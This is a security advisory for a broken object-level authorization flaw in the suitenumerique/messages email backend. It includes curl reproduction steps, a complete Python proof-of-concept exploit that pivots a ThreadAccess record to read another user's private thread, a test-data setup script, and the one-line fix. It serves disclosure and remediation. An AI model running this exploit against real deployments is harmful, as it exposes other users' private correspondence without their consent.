Skip to content

IDOR on ThreadAccess allows fo an attacker to access any thread they know the UUID of

High
sylvinus published GHSA-7476-6crq-4cw9 Feb 24, 2026

Package

src/backend/core/api/serializers.py (line 807) (source code)

Affected versions

v0.2.0

Patched versions

v0.3.0

Description

Product: suitenumerique/messages
Version: 0.2.0 ; Fixed in 0.3.0
Severity: High (CVSS 8.5)
CVE Status: Requesting assignment

Summary

An authenticated user can read the contents of any email thread in the system by sending a single PATCH request that pivots their
ThreadAccess record from a thread they legitimately own to an arbitrary target thread. The permission check validates the thread before the update; the serializer writes the new thread value without re-checking authorization.

This is a Broken Object Level Authorization (BOLA / IDOR) vulnerability.
No elevated privilege is required — any user with a mailbox and at least one thread qualifies as an attacker.

demo.mp4

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Score: 7.6 (High)

Metric Value Rationale
Attack Vector Network Exploited over HTTP
Attack Complexity Low Single PATCH request once UUID is known
Privileges Required Low Any authenticated user with one thread
User Interaction None No victim action required
Scope Changed Attacker accesses resources owned by other users
Confidentiality High Full content of any thread is exposed
Integrity Low Attacker's own ThreadAccess record is modified
Availability None No service disruption

Note on AC: Thread UUIDs are not directly enumerable via the API, which provides a weak discovery barrier. In practice they routinely appear in email notification deep-links. This is treated as AC:Low.

Root Cause

File: src/backend/core/api/serializers.py, line 807

class ThreadAccessSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.ThreadAccess
        fields = ["id", "thread", "mailbox", "role", "created_at", "updated_at"]
        read_only_fields = ["id", "created_at", "updated_at"]
        # ^^^ "thread" and "mailbox" are missing from read_only_fields

The IsAllowedToManageThreadAccess.has_object_permission check
(permissions.py:280-297) validates that the user has access to
obj.thread — the thread referenced by the record at query time,
before the update is applied. It does not re-validate the thread value
from the request body. The serializer then writes the new thread FK
unconditionally.

Steps to Reproduce

Prerequisites:

  • A running instance of suitenumerique/messages
  • An attacker account (user1) with any thread (ATTACKER_THREAD)
  • A victim account (user2) with a private thread (VICTIM_THREAD)
  • user1 has no ThreadAccess on VICTIM_THREAD

Step 1 — Confirm no access

curl -s http://localhost:8901/api/v1.0/threads/VICTIM_THREAD/ \
  -H "Cookie: st_messages_sessionid=<SESSION>"
# → HTTP 404

Step 2 — Get attacker's ThreadAccess ID

curl -s http://localhost:8901/api/v1.0/threads/ATTACKER_THREAD/accesses/ \
  -H "Cookie: st_messages_sessionid=<SESSION>"
# Note the "id" field → ACCESS_ID

Step 3 — Pivot to victim thread

curl -s -X PATCH \
  http://localhost:8901/api/v1.0/threads/ATTACKER_THREAD/accesses/ACCESS_ID/ \
  -H "Cookie: st_messages_sessionid=<SESSION>; csrftoken=<CSRF>" \
  -H "X-CSRFToken: <CSRF>" \
  -H "Content-Type: application/json" \
  -d '{"thread":"VICTIM_THREAD","mailbox":"ATTACKER_MAILBOX_ID","role":"editor"}'
# → HTTP 200, thread field now reads VICTIM_THREAD

Step 4 — Read victim thread

curl -s http://localhost:8901/api/v1.0/threads/VICTIM_THREAD/ \
  -H "Cookie: st_messages_sessionid=<SESSION>"
# → HTTP 200, full thread content including subject and messages

The attacker's session now has full editor access to the victim's
private thread. The victim's own thread access is unaffected.

A self-contained PoC script is available here (see attached / repository):

#!/usr/bin/env python3
"""
v0.2.0  — IDOR on ThreadAccess (suitenumerique/messages)
========================================================

The ThreadAccessSerializer allows updating the `thread` field. The
permission check validates the *current* thread (pre-update), not the
*new* thread value in the request body. A single PATCH request pivots
your ThreadAccess from a thread you legitimately own to any thread in
the system.

Root cause: serializers.py:807 — "thread" absent from read_only_fields.

Usage:
    python3 06_thread_access_idor.py \\
        --session <st_messages_sessionid> \\
        --csrf   <csrftoken> \\
        --my-thread    <uuid>   # thread YOU own (pivot point)
        --target-thread <uuid>  # thread you want to read

"""

import argparse
import sys
import requests

BASE = "http://localhost:8901"
API  = f"{BASE}/api/v1.0"


def session_headers(session: str, csrf: str) -> dict:
    return {
        "Cookie": f"st_messages_sessionid={session}; csrftoken={csrf}",
        "X-CSRFToken": csrf,
        "Content-Type": "application/json",
    }


def get_my_mailbox(session, csrf) -> dict:
    r = requests.get(f"{API}/mailboxes/", headers=session_headers(session, csrf))
    r.raise_for_status()
    mailboxes = r.json()
    if not mailboxes:
        print("[-] No mailboxes found for this session.")
        sys.exit(1)
    return mailboxes[0]


def get_my_thread_access(session, csrf, thread_id, mailbox_id) -> str:
    """Return my ThreadAccess ID on the pivot thread."""
    r = requests.get(
        f"{API}/threads/{thread_id}/accesses/",
        headers=session_headers(session, csrf),
    )
    r.raise_for_status()
    data = r.json()
    for access in data.get("results", []):
        if access["mailbox"] == mailbox_id:
            return access["id"]
    print("[-] Could not find your ThreadAccess on the pivot thread.")
    sys.exit(1)


def check_access(session, csrf, thread_id) -> bool:
    r = requests.get(
        f"{API}/threads/{thread_id}/",
        headers=session_headers(session, csrf),
    )
    return r.status_code == 200, r


def exploit(session, csrf, my_thread, target_thread):
    print("[*] Fetching attacker mailbox...")
    mailbox = get_my_mailbox(session, csrf)
    mailbox_id = mailbox["id"]
    print(f"    {mailbox['email']}  ({mailbox_id})")

    print(f"\n[*] Checking access to target thread BEFORE exploit...")
    ok, r = check_access(session, csrf, target_thread)
    if ok:
        print("    Already accessible — nothing to do.")
        sys.exit(0)
    print(f"    HTTP {r.status_code} — no access (expected)")

    print(f"\n[*] Fetching ThreadAccess ID on pivot thread {my_thread}...")
    access_id = get_my_thread_access(session, csrf, my_thread, mailbox_id)
    print(f"    ThreadAccess ID: {access_id}")

    print(f"\n[*] Sending malicious PATCH — swapping thread FK to target...")
    payload = {
        "thread":  target_thread,
        "mailbox": mailbox_id,
        "role":    "editor",
    }
    r = requests.patch(
        f"{API}/threads/{my_thread}/accesses/{access_id}/",
        headers=session_headers(session, csrf),
        json=payload,
    )

    if r.status_code not in (200, 204):
        print(f"[-] Exploit failed: HTTP {r.status_code}")
        print(f"    {r.text}")
        sys.exit(1)

    updated = r.json()
    print(f"    HTTP {r.status_code} — ThreadAccess now points to: {updated['thread']}")

    print(f"\n[*] Verifying access to target thread AFTER exploit...")
    ok, r = check_access(session, csrf, target_thread)
    if not ok:
        print(f"[-] Unexpected: still no access (HTTP {r.status_code})")
        sys.exit(1)

    thread = r.json()
    print(f"\n{'='*60}")
    print(f"  EXPLOITED SUCCESSFULLY")
    print(f"{'='*60}")
    print(f"  Thread ID : {thread['id']}")
    print(f"  Subject   : {thread['subject']}")
    print(f"  Snippet   : {thread.get('snippet', '(empty)')}")
    print(f"{'='*60}")


if __name__ == "__main__":
    p = argparse.ArgumentParser(description="VULN-6 IDOR PoC — suitenumerique/messages")
    p.add_argument("--session",       required=True, help="st_messages_sessionid cookie")
    p.add_argument("--csrf",          required=True, help="csrftoken cookie / header value")
    p.add_argument("--my-thread",     required=True, help="UUID of a thread you legitimately own")
    p.add_argument("--target-thread", required=True, help="UUID of the thread you want to access")
    args = p.parse_args()

    exploit(args.session, args.csrf, args.my_thread, args.target_thread)

FYI, here is the setup.sh script I used after seeding the database:

#!/usr/bin/env bash
# Setup script for IDOR on ThreadAccess
# Creates two users, two mailboxes, and two realistic threads:
#   - ATTACKER_THREAD : user1's legitimate thread (pivot point)
#   - VICTIM_THREAD   : user2's private board thread (content theft target)
#
# Usage: bash exploits/tests/setup.sh
# Requires: docker compose stack running (make bootstrap)

set -e

echo "==> Setting up test data..."

docker compose exec -T backend-dev python manage.py shell << 'PYEOF'
import uuid, hashlib
from django.utils import timezone
from core import models, enums

domain, _ = models.MailDomain.objects.get_or_create(name="example.local")

# ── User 1 (attacker) ────────────────────────────────────────────────────────
u1, _ = models.User.objects.get_or_create(email="user1@example.local", defaults={"password": "!"})
mb1, _ = models.Mailbox.objects.get_or_create(local_part="user1", domain=domain)
models.MailboxAccess.objects.get_or_create(
    user=u1, mailbox=mb1,
    defaults={"role": models.MailboxRoleChoices.ADMIN},
)
c1, _ = models.Contact.objects.get_or_create(
    email="user1@example.local",
    defaults={"name": "Alice Martin", "mailbox": mb1},
)

# ── User 2 (victim) ──────────────────────────────────────────────────────────
u2, _ = models.User.objects.get_or_create(
    email="user2@example.local",
    defaults={"id": uuid.uuid4(), "password": "!"},
)
mb2, _ = models.Mailbox.objects.get_or_create(local_part="user2", domain=domain)
models.MailboxAccess.objects.get_or_create(
    user=u2, mailbox=mb2,
    defaults={"role": models.MailboxRoleChoices.ADMIN},
)
c2, _ = models.Contact.objects.get_or_create(
    email="user2@example.local",
    defaults={"name": "Bob Leclerc", "mailbox": mb2},
)

def make_blob(raw: bytes, mailbox, content_type="message/rfc822"):
    return models.Blob.objects.create(
        mailbox=mailbox,
        maildomain=domain,
        content_type=content_type,
        compression=models.CompressionTypeChoices.NONE,
        raw_content=raw,
        size=len(raw),
        size_compressed=len(raw),
        sha256=hashlib.sha256(raw).digest(),
    )

# ── Attacker's thread — normal support request (pivot point) ──────────────────
t_attacker = models.Thread.objects.create(
    subject="Re: Onboarding issue with SSO login",
    snippet="Thanks for the quick turnaround, the SSO issue is resolved.",
    has_messages=True,
    has_sender=True,
    messaged_at=timezone.now(),
)
models.ThreadAccess.objects.create(
    thread=t_attacker, mailbox=mb1, role=enums.ThreadAccessRoleChoices.EDITOR,
)
blob1 = make_blob((
    "From: alice@example.local\r\nTo: support@example.local\r\n"
    "Subject: Re: Onboarding issue with SSO login\r\n\r\n"
    "Hi team,\r\n\r\n"
    "Thanks for the quick turnaround \u2014 the SSO issue is now resolved on our end.\r\n"
    "Users can log in without problems.\r\n\r\nBest,\r\nAlice"
).encode(), mb1)
models.Message.objects.create(
    thread=t_attacker, subject="Re: Onboarding issue with SSO login",
    sender=c1, blob=blob1, is_draft=False, is_unread=False, sent_at=timezone.now(),
)

# ── Victim's private thread — board-level discussion ─────────────────────────
t_victim = models.Thread.objects.create(
    subject="[BOARD] Project Falcon \u2014 term sheet review",
    snippet="The valuation cap is set at \u20ac42M. Signing is scheduled for Friday.",
    has_messages=True,
    has_sender=True,
    messaged_at=timezone.now(),
)
models.ThreadAccess.objects.create(
    thread=t_victim, mailbox=mb2, role=enums.ThreadAccessRoleChoices.EDITOR,
)
for subj, raw in [
    (
        "[BOARD] Project Falcon \u2014 term sheet review",
        (
            "From: bob.leclerc@example.local\r\nTo: cfo@example.local\r\n"
            "Subject: [BOARD] Project Falcon - term sheet review\r\n\r\n"
            "Hi Sarah,\r\n\r\n"
            "Attaching the updated term sheet. Key points:\r\n"
            "- Valuation cap: \u20ac42M pre-money\r\n"
            "- 18% equity stake\r\n"
            "- Board seat for lead investor\r\n"
            "- No-shop clause: 30 days\r\n\r\n"
            "We need sign-off before Friday. Please do not forward this thread.\r\n\r\nBob"
        ).encode(),
    ),
    (
        "Re: [BOARD] Project Falcon \u2014 term sheet review",
        (
            "From: cfo@example.local\r\nTo: bob.leclerc@example.local\r\n"
            "Subject: Re: [BOARD] Project Falcon - term sheet review\r\n\r\n"
            "Bob,\r\n\r\nReviewed. Two comments:\r\n"
            "1. The liquidation preference clause (1.5x) is aggressive \u2014 push back to 1x.\r\n"
            "2. Confirm the ESOP pool expansion is capped at 10% post-money.\r\n\r\n"
            "Otherwise I'm aligned. Loop in legal before signing.\r\n\r\nSarah"
        ).encode(),
    ),
]:
    models.Message.objects.create(
        thread=t_victim, subject=subj, sender=c2,
        blob=make_blob(raw, mb2), is_draft=False, is_unread=True, sent_at=timezone.now(),
    )

print(f"ATTACKER_MAILBOX={mb1.id}")
print(f"ATTACKER_THREAD={t_attacker.id}")
print(f"VICTIM_THREAD={t_victim.id}")
PYEOF

echo ""
echo "==> Setup complete."
echo ""
echo "  ATTACKER_THREAD : (see above)  — user1's SSO support thread (pivot)"
echo "  VICTIM_THREAD   : (see above)  — [BOARD] Project Falcon (some kind of confidential document), user2 only"
echo ""
echo "  Run the exploit:"
echo "    python3 exploits/tests/exploit.py --session S --csrf C \\"
echo "      --my-thread ATTACKER_THREAD --target-thread VICTIM_THREAD"

Impact

Any authenticated user in a multi-tenant deployment can exfiltrate the complete contents of any other user's threads without their knowledge.
This includes private correspondence, board-level discussions, attachments, and any other content stored as email threads.

Remediation

One-line fix — add "thread" and "mailbox" to read_only_fields:

# src/backend/core/api/serializers.py
class ThreadAccessSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.ThreadAccess
        fields = ["id", "thread", "mailbox", "role", "created_at", "updated_at"]
        read_only_fields = ["id", "thread", "mailbox", "created_at", "updated_at"]

CVE Request

I would like to request a CVE identifier for this. I am aware it is still in Beta but I believe the finding is significantly important to notify users that they must update this software.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Credits